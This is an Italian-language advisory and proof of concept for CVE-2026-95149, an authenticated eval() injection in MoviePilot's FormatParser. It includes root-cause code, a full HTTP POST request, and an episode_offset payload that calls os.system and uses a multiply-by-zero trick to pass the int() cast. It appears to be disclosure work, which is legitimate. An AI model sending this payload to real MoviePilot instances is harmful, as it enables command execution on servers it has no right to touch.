
Proof-of-concept e analisi della causa radice per CVE-2026-95149, una RCE autenticata nel FormatParser di MoviePilot tramite iniezione eval() in episode_offset, con PoC HTTP e dettagli sulla correzione.
eval() in episode_offset (FormatParser di MoviePilot)| Campo | Valore |
|---|---|
| ID CVE | CVE-2026-95149 |
| Prodotto | MoviePilot (jxxghp/MoviePilot) |
| Versioni interessate | <= v3.0.0 |
| Corretto in | branch v3 — commit 65b9c777de9194e40ba29dc17345afc5b4b4b0ba |
| Gravità | Alta |
| Vettore di attacco | Remoto, tramite l'API HTTP |
| Privilegi richiesti | Utente gestionale autenticato (account admin o con ruolo di gestione) |
| Interazione utente | Nessuna |
| Segnalato | 2026-09-11 |
| Issue pubblica | jxxghp/MoviePilot#6644 |
FormatParser accetta una stringa arbitraria e si limita a diramare in base alla presenza di "EP" — non verifica mai che
il resto della stringa sia un'espressione aritmetica ben formata:
elif "EP" in offset:
self.__offset = offset
Diverse diramazioni a valle costruiscono poi un'espressione Python tramite sostituzione testuale e la valutano direttamente:
start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part
Il wrapper int(...) vincola solo il valore di ritorno dell'espressione; non impedisce gli effetti collaterali che
si verificano durante la valutazione. Qualsiasi chiamata a funzione, import o accesso ad attributi incorporato nel payload viene quindi eseguito
prima che il valore finale venga convertito in int.
Un tentativo di mitigazione comune consiste nel moltiplicare il payload per zero, in modo che il risultato aritmetico resti numerico:
EP+__import__('os').system('touch /tmp/success')*0
Funziona comunque. L'effetto collaterale (l'esecuzione del comando) avviene durante la valutazione, molto prima che l'addizione
finale venga convertita in int, quindi l'attaccante ottiene sia l'esecuzione di comandi sia un valore che supera
il controllo di tipo int().
POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
{
"fileitem": {
"storage": "local",
"path": "/configured/media/file.mkv",
"type": "file",
"name": "file.mkv"
},
"episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}
Su un'istanza vulnerabile, /tmp/success viene creato dal processo del servizio MoviePilot. Se la chiamata API non restituisce
200, il cast int() solleverà un'eccezione — ma il comando iniettato è già stato eseguito, quindi l'esito della richiesta è
irrilevante ai fini dell'exploit.
app/application/formatting.py (righe 102 e 184 nella v3.0.0)app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302